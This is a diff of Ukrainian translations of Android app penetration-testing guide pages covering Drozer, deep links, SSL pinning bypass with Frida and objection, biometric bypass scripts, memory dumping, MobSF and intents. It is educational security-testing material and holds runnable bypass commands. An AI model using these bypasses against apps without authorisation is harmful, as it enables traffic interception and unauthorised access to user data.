- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останніх версій x86** підтримують ARM бібліотеки без необхідності в повільному емуляторі arm).
|
||||
- Дізнайтеся, як налаштувати його на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
@ -259,14 +259,14 @@ avd-android-virtual-device.md
|
||||
4. Натисніть **Номер збірки** 7 разів.
|
||||
5. Поверніться назад, і ви знайдете **Опції розробника**.
|
||||
|
||||
> Після встановлення додатка перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Після того, як ви встановили додаток, перше, що вам слід зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **дізнатися, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
|
||||
### Ненавмисний витік даних
|
||||
|
||||
**Логування**
|
||||
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендуються інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що з **пізніми версіями Android 4.0** **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
@ -274,30 +274,30 @@ avd-android-virtual-device.md
|
||||
|
||||
**Кешування буфера копіювання/вставки**
|
||||
|
||||
Фреймворк Android на основі **буфера обміну** дозволяє функціональність копіювання-вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **отримувати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих розділів додатка, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
**Кліпборд** Android дозволяє функціональність копіювання-вставки в додатках, але це створює ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих розділів додатка, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
|
||||
**Журнали аварій**
|
||||
|
||||
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
Якщо додаток **виникає аварія** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
|
||||
Як пентестер, **слідкуйте за цими журналами**.
|
||||
|
||||
**Дані аналітики, надіслані третім особам**
|
||||
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неналежну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік додатка** та перевірити, чи надсилається якась чутлива інформація третім особам.
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік додатка** та перевірити, чи надсилається якась чутлива інформація третім особам.
|
||||
|
||||
### SQLite БД
|
||||
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які були створені, назви **таблиць** та **стовпців** і всі **дані**, які зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, наприклад, `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і є **зашифрованою**, але ви можете **знайти** **пароль** всередині додатка, це все ще є **вразливістю**.
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині додатка, це все ще є **вразливістю**.
|
||||
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`
|
||||
|
||||
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
|
||||
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного спілкування (IPC) Android і взаємодіяти з основною операційною системою.\
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного зв'язку (IPC) Android і взаємодіяти з основною операційною системою.\
|
||||
Drozer є корисним інструментом для **експлуатації експортованих активностей, експортованих сервісів та постачальників контенту**, як ви дізнаєтеся в наступних розділах.
|
||||
|
||||
### Експлуатація експортованих активностей
|
||||
@ -307,7 +307,7 @@ Drozer є корисним інструментом для **експлуата
|
||||
|
||||
**Обхід авторизації**
|
||||
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **автентифікації**, щоб отримати до неї доступ.
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **авторизації**, щоб отримати до неї доступ.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати експортовані активності за допомогою Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -321,7 +321,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише на старих версіях (версії API < 21).
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що обхід авторизації не завжди є вразливістю, це залежить від того, як працює обхід і яка інформація підлягає розкриттю.
|
||||
> Зверніть увагу, що обхід авторизації не завжди є вразливістю, це залежить від того, як працює обхід і яка інформація піддається розкриттю.
|
||||
|
||||
**Витік чутливої інформації**
|
||||
|
||||
@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати несподівані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
|
||||
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати неочікувані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
|
||||
|
||||
### Експлуатація постачальників контенту - доступ до чутливої інформації та її маніпуляція
|
||||
|
||||
@ -343,7 +343,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**Прочитайте це, якщо хочете освіжити знання про сервіс.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії сервісу починаються в методі `onStartCommand`.
|
||||
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тоді, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
[**Дізнайтеся, як експлуатувати сервіси за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Експлуатація приймачів трансляцій**
|
||||
@ -362,7 +362,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Зверніть увагу, що ви можете **пропустити ім'я пакета**, і мобільний пристрій автоматично викличе додаток, який повинен відкрити це посилання._
|
||||
```markup
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
@ -381,7 +381,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині програми, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як доменне ім'я), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
@ -390,7 +390,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
### Перевірка та верифікація транспортного шару
|
||||
|
||||
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи ненадійні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді слабкі**, використовуючи ненадійні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або деталі користувачів, від перехоплення зловмисними особами.
|
||||
|
||||
#### Перевірка сертифікатів
|
||||
@ -412,9 +412,9 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
Коли впроваджено SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
|
||||
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту полягає в тому, що вам не знадобиться root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацьовує.
|
||||
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цей захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цю захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснено нижче)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснюється нижче)
|
||||
- Якщо ви все ще вважаєте, що є якийсь трафік, який ви не захоплюєте, ви можете спробувати **переслати трафік до burp, використовуючи iptables**. Прочитайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Пошук загальних веб-вразливостей
|
||||
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Це скине пам'ять у папку ./dump, і там ви можете використовувати grep з чимось на кшталт:
|
||||
Це скине пам'ять у папку ./dump, і там ви зможете використовувати grep з чимось на кшталт:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Фонові зображення**
|
||||
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, тому, коли він відновлюється на передній план, починає завантажувати зображення перед додатком, щоб здавалося, що додаток завантажився швидше.
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -523,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
|
||||
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
|
||||
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **завантажений** замість файлу.
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде встановити свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **завантажений** замість файлу.
|
||||
|
||||
### Допоміжний динамічний аналіз з MobSF
|
||||
|
||||
@ -542,7 +542,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
MobSF також дозволяє вам завантажувати свої власні **Frida скрипти** (щоб надіслати результати ваших скриптів Frida до MobSF, використовуйте функцію `send()`). Він також має **кілька попередньо написаних скриптів**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете бачити журнали цих скриптів у "**Frida Live Logs**").
|
||||
MobSF також дозволяє вам завантажувати власні **Frida скрипти** (щоб надіслати результати ваших скриптів Frida до MobSF, використовуйте функцію `send()`). Він також має **кілька попередньо написаних скриптів**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете бачити журнали цих скриптів у "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -550,7 +550,7 @@ MobSF також дозволяє вам завантажувати свої в
|
||||
|
||||
- **Перерахувати завантажені класи**: Він виведе всі завантажені класи
|
||||
- **Захопити рядки**: Він виведе всі захоплені рядки під час використання програми (дуже шумно)
|
||||
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, що порівнюються** і чи був результат True або False.
|
||||
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, які порівнюються** і чи був результат True або False.
|
||||
- **Перерахувати методи класу**: Введіть ім'я класу (наприклад, "java.io.File") і він виведе всі методи класу.
|
||||
- **Шукати шаблон класу**: Шукати класи за шаблоном
|
||||
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
|
||||
@ -595,7 +595,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних з безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних із безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -627,7 +627,7 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn - це **кросплатформений** інструмент, який допомагає розробникам, дослідникам у сфері безпеки та етичним хакерам виконувати [статичний аналіз коду](https://en.wikipedia.org/wiki/Static_program_analysis) мобільних додатків.
|
||||
StaCoAn - це **кросплатформений** інструмент, який допомагає розробникам, шукачам вразливостей та етичним хакерам виконувати [статичний аналіз коду](https://en.wikipedia.org/wiki/Static_program_analysis) мобільних додатків.
|
||||
|
||||
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного додатку (файл .apk або .ipa) на додаток StaCoAn, і він створить для вас візуальний та портативний звіт. Ви можете налаштувати параметри та словники для отримання індивідуального досвіду.
|
||||
|
||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків і фахівців з безпеки.
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків та фахівців з безпеки.
|
||||
|
||||
Він здатний:
|
||||
|
||||
|
@ -35,7 +35,7 @@
|
||||
- атрибут **permission-group**, який дозволяє групувати пов'язані дозволи.
|
||||
- **рівень захисту**, який вказує, як надаються дозволи. Є чотири типи:
|
||||
- **Нормальний**: Використовується, коли **немає відомих загроз** для додатка. Користувач **не зобов'язаний його затверджувати**.
|
||||
- **Небезпечний**: Вказує, що дозвіл надає запитуваному додатку певний **підвищений доступ**. **Користувачі просять їх затвердити**.
|
||||
- **Небезпечний**: Вказує, що дозвіл надає запитуючому додатку певний **підвищений доступ**. **Користувачі просять їх затвердити**.
|
||||
- **Підпис**: Тільки **додатки, підписані тим же сертифікатом, що й той**, що експортує компонент, можуть отримати дозвіл. Це найсильніший тип захисту.
|
||||
- **SignatureOrSystem**: Тільки **додатки, підписані тим же сертифікатом, що й той**, що експортує компонент, або **додатки, що працюють з доступом на рівні системи**, можуть отримати дозволи.
|
||||
|
||||
@ -49,10 +49,10 @@
|
||||
|
||||
## Рутування
|
||||
|
||||
Щоб отримати доступ до root на фізичному пристрої Android, вам зазвичай потрібно **експлуатувати** 1 або 2 **вразливості**, які зазвичай є **специфічними** для **пристрою** та **версії**.\
|
||||
Щоб отримати доступ root до фізичного пристрою Android, вам зазвичай потрібно **експлуатувати** 1 або 2 **вразливості**, які зазвичай є **специфічними** для **пристрою** та **версії**.\
|
||||
Коли експлуатація спрацювала, зазвичай бінарний файл Linux `su` копіюється в місце, вказане в змінній середовища PATH користувача, наприклад, `/system/xbin`.
|
||||
|
||||
Коли бінарний файл su налаштовано, використовується інший додаток Android для взаємодії з бінарним файлом `su` та **обробки запитів на доступ до root**, таких як **Superuser** та **SuperSU** (доступні в Google Play Store).
|
||||
Коли бінарний файл su налаштовано, використовується інший додаток Android для взаємодії з бінарним файлом `su` та **обробки запитів на доступ root**, таких як **Superuser** та **SuperSU** (доступні в Google Play Store).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що процес рутування є дуже небезпечним і може серйозно пошкодити пристрій.
|
||||
@ -89,7 +89,7 @@
|
||||
- assets/
|
||||
- Зберігає різні файли, необхідні додатку, потенційно включаючи додаткові рідні бібліотеки або DEX файли, іноді використовувані авторами шкідливих програм для приховування додаткового коду.
|
||||
- res/
|
||||
- Містить ресурси, які не скомпільовані в resources.arsc
|
||||
- Містить ресурси, які не скомпільовані в resources.arsc.
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
@ -99,12 +99,12 @@
|
||||
|
||||
## Інтенти
|
||||
|
||||
Інтенти є основним засобом, за допомогою якого додатки Android спілкуються між своїми компонентами або з іншими додатками. Ці об'єкти повідомлень також можуть переносити дані між додатками або компонентами, подібно до того, як використовуються запити GET/POST у HTTP-комунікаціях.
|
||||
Інтенти є основним засобом, за допомогою якого Android-додатки спілкуються між своїми компонентами або з іншими додатками. Ці об'єкти повідомлень також можуть переносити дані між додатками або компонентами, подібно до того, як використовуються запити GET/POST у HTTP-комунікаціях.
|
||||
|
||||
Отже, Інтент - це, по суті, **повідомлення, яке передається між компонентами**. Інтенти **можуть бути спрямовані** на конкретні компоненти або додатки, **або можуть бути надіслані без конкретного отримувача**.\
|
||||
Отже, Інтент — це, по суті, **повідомлення, яке передається між компонентами**. Інтенти **можуть бути надіслані** конкретним компонентам або додаткам, **або можуть бути надіслані без конкретного отримувача**.\
|
||||
Простими словами, Інтент можна використовувати:
|
||||
|
||||
- Для запуску активності, зазвичай відкриваючи інтерфейс користувача для додатку
|
||||
- Для запуску Activity, зазвичай відкриваючи інтерфейс користувача для додатку
|
||||
- Як трансляції, щоб повідомити систему та додатки про зміни
|
||||
- Для запуску, зупинки та взаємодії з фоновим сервісом
|
||||
- Для доступу до даних через ContentProviders
|
||||
@ -114,11 +114,11 @@
|
||||
|
||||
### Фільтр Інтентів
|
||||
|
||||
**Фільтри Інтентів** визначають, **як активність, сервіс або приймач трансляцій можуть взаємодіяти з різними типами Інтентів**. По суті, вони описують можливості цих компонентів, такі як дії, які вони можуть виконувати, або типи трансляцій, які вони можуть обробляти. Основне місце для оголошення цих фільтрів - це **файл AndroidManifest.xml**, хоча для приймачів трансляцій також є можливість їх кодування.
|
||||
**Фільтри Інтентів** визначають, **як активність, сервіс або приймач трансляцій можуть взаємодіяти з різними типами Інтентів**. По суті, вони описують можливості цих компонентів, такі як дії, які вони можуть виконувати, або типи трансляцій, які вони можуть обробляти. Основне місце для оголошення цих фільтрів — це **файл AndroidManifest.xml**, хоча для приймачів трансляцій також є можливість їх кодування.
|
||||
|
||||
Фільтри Інтентів складаються з категорій, дій та фільтрів даних, з можливістю включення додаткових метаданих. Ця настройка дозволяє компонентам обробляти конкретні Інтенти, які відповідають оголошеним критеріям.
|
||||
Фільтри Інтентів складаються з категорій, дій та фільтрів даних, з можливістю включення додаткових метаданих. Ця конфігурація дозволяє компонентам обробляти конкретні Інтенти, які відповідають оголошеним критеріям.
|
||||
|
||||
Критичним аспектом компонентів Android (активності/сервіси/постачальники контенту/приймачі трансляцій) є їх видимість або **публічний статус**. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він **`exported`** зі значенням **`true`** або якщо для нього в маніфесті оголошено фільтр Інтентів. Однак розробники можуть явно зберігати ці компоненти приватними, забезпечуючи їх ненавмисну взаємодію з іншими додатками. Це досягається шляхом встановлення атрибута **`exported`** на **`false`** у їхніх визначеннях маніфесту.
|
||||
Критичним аспектом Android-компонентів (активності/сервіси/постачальники контенту/приймачі трансляцій) є їх видимість або **публічний статус**. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він **`exported`** зі значенням **`true`** або якщо для нього в маніфесті оголошено фільтр Інтентів. Однак розробники можуть явно зберігати ці компоненти приватними, забезпечуючи їх ненавмисну взаємодію з іншими додатками. Це досягається шляхом встановлення атрибута **`exported`** на **`false`** у їхніх визначеннях маніфесту.
|
||||
|
||||
Більше того, розробники мають можливість додатково захистити доступ до цих компонентів, вимагаючи специфічних дозволів. Атрибут **`permission`** може бути встановлений, щоб забезпечити, що лише додатки з призначеним дозволом можуть отримати доступ до компонента, додаючи додатковий рівень безпеки та контролю над тим, хто може з ним взаємодіяти.
|
||||
```java
|
||||
@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
Фільтр наміру повинен відповідати **дії**, **даним** та **категорії**, щоб отримати повідомлення.
|
||||
|
||||
Процес "розв'язання наміру" визначає, яка програма повинна отримати кожне повідомлення. Цей процес враховує **атрибут пріоритету**, який можна встановити в **оголошенні фільтра наміру**, і **той, що має вищий пріоритет, буде обраний**. Цей пріоритет може бути встановлений в межах від -1000 до 1000, і програми можуть використовувати значення `SYSTEM_HIGH_PRIORITY`. Якщо виникає **конфлікт**, з'являється вікно "вибору", щоб **користувач міг вирішити**.
|
||||
Процес "розв'язання наміру" визначає, який додаток повинен отримати кожне повідомлення. Цей процес враховує **атрибут пріоритету**, який можна встановити в **оголошенні фільтра наміру**, і **той, що має вищий пріоритет, буде обраний**. Цей пріоритет може бути встановлений в межах від -1000 до 1000, і додатки можуть використовувати значення `SYSTEM_HIGH_PRIORITY`. Якщо виникає **конфлікт**, з'являється вікно "вибору", щоб **користувач міг вирішити**.
|
||||
|
||||
### Явні наміри
|
||||
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
